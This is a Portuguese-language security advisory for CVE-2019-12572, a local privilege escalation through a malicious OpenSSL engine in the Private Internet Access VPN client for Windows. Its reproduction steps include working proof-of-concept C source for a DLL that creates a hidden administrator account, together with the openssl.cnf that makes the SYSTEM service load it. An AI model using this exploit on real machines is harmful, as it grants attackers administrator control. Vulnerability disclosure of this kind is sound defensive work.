For the English version of this alert, click here.
Allele Security Alert
ASA-2019-00377
Identificador(es)
ASA-2019-00377, CVE-2019-12572
Título
Escalação de privilégios devido a engine OpenSSL maliciosa
Fabricante(s)
London Trust Media, Inc
Produto(s)
Private Internet Access (PIA) VPN Client para Windows
Versão(ões) afetada(s)
Private Internet Access (PIA) VPN Client para Windows versão 1.0.2 (build 02363)
Versão(ões) Corrigida(s)
Private Internet Access (PIA) VPN Client para Windows versão v1.2.1
Prova de conceito
Sim
Descrição
Uma vulnerabilidade no Private Internet Access (PIA) VPN Client para windows versão 1.0.2 pode permitir que um atacante local autenticado execute código arbitrário com privilégios elevados.
Detalhes técnicos
Na inicialização, o serviço PIA Windows (pia-service.exe) carrega a biblioteca OpenSSL de C:\Program Files\Private Internet Access\libeay32.dll. Esta biblioteca tenta carregar o arquivo de configuração c:\etc\ssl\openssl.cnf que não existe. Por padrão, nos sistemas Windows, os usuários autenticados podem criar diretórios em c:\. Um usuário com poucos privilégios pode criar um arquivo de configuração openssl.cnf para carregar uma biblioteca mal-intencionada do mecanismo OpenSSL, resultando na execução arbitrária de códigos como SYSTEM quando o serviço é iniciado.
Passos para reproduzir
Nota: Todas as etapas são executadas usando uma conta com poucos privilégios.
1) Crie o diretório c:\etc\ssl
mkdir c:\etc\ssl
2) Crie uma biblioteca de mecanismo mal-intencionado chamada woot.dll para criar um administrador conta chamada woot quando carregada.
/* Cross Compile with x86_64-w64-mingw32-g++ woot.c -o woot.dll -shared */ #include <windows.h> BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) { switch( fdwReason ) { case DLL_PROCESS_ATTACH: system("cmd /c net user woot insertpasswordhere /add"); system("cmd /c net localgroup administrators woot /add"); break; case DLL_THREAD_ATTACH: // Do thread-specific initialization. break; case DLL_THREAD_DETACH: // Do thread-specific cleanup. break; case DLL_PROCESS_DETACH: // Perform any necessary cleanup. break; } return TRUE; // Successful DLL_PROCESS_ATTACH. }
3) Copie o arquivo malicioso woot.dll para a pasta c:\etc\ssl
copy woot.dll c:\etc\ssl
4) Crie o arquivo de configuração do OpenSSL em c:\etc\ssl\openssl.cnf com o seguinte conteúdo.
openssl_conf = openssl_init [openssl_init] engines = engine_section [engine_section] woot = woot_section [woot_section] engine_id = woot dynamic_path = c:\\etc\\ssl\\woot.dll init = 0
5) Reinicie o sistema porque um usuário de baixo privilégio não tem permissão para reinicie o serviço.
6) Após a reinicialização, faça o login e abra um shell de comando. Neste ponto a conta de administrador “woot” existirá.
net user woot
Créditos
Rich Mirch
Referência(s)
PIA Windows Privilege Escalation: Malicious OpenSSL engine
https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12572.txt
CVE-2019-12572
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12572
CVE-2019-12572
https://nvd.nist.gov/vuln/detail/CVE-2019-12572
Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.
Última modificação: 26 junho 2019